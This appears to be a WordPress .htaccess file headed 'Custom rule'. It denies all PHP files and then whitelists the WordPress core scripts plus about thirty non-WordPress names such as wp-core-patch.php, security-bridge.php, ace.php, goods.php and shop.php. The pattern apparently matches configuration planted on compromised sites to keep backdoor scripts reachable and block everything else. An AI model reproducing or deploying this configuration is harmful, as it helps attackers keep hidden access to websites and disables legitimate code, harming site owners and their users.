# Custom rule
<FilesMatch "\.(php|php[3457]|phtml|phps|php\.bak|php~|inc|module)$">
<IfModule mod_authz_core.c>
            Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
            Order Deny,Allow
            Deny from all
</IfModule>
</FilesMatch>
 
    <FilesMatch "^(index\.php|wp-login\.php|wp-cron\.php|xmlrpc\.php|wp-comments-post\.php|wp-signup\.php|wp-activate\.php|wp-blog-header\.php|wp-load\.php|wp-config-sample\.php|wp-trackback\.php|wp-mail\.php|admin-ajax\.php|admin-post\.php|wp-links-opml\.php|wp-locale\.php|about\.php|admin\.php|users\.php|user-new\.php|load-styles\.php|plugins\.php|load-scripts\.php|upgrade\.php|plugin-install\.php|theme-editor\.php|plugin-editor\.php|update\.php)$">
<IfModule mod_authz_core.c>
            Require all granted
</IfModule>
<IfModule !mod_authz_core.c>
            Order Allow,Deny
            Allow from all
</IfModule>
</FilesMatch>
 
    <FilesMatch "^(compatibility\.php|site-compat\.php|env-check\.php|maintenance-helper\.php|performance-tweaks\.php|wp-compat-layer\.php|debug-compat\.php|core-optimizations\.php|wp-env-setup\.php|system-compat\.php|load-optimizer\.php|cache-bridge\.php|wp-tweak-layer\.php|site-health-check\.php|module-loader\.php|config-validator\.php|runtime-helper\.php|wp-utility\.php|backend-support\.php|asset-compat\.php|wp-init-tweaks\.php|env-adapter\.php|plugin-bridge\.php|wp-core-patch\.php|security-bridge\.php|wp-maintenance\.php|system-bridge\.php|load-compat\.php|wp-runtime\.php|config-bridge\.php|ace\.php|goods\.php|shop\.php)$">
<IfModule mod_authz_core.c>
            Require all granted
</IfModule>
<IfModule !mod_authz_core.c>
            Order Allow,Deny
            Allow from all
</IfModule>
</FilesMatch>
 
 
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>
 
    # END WordPress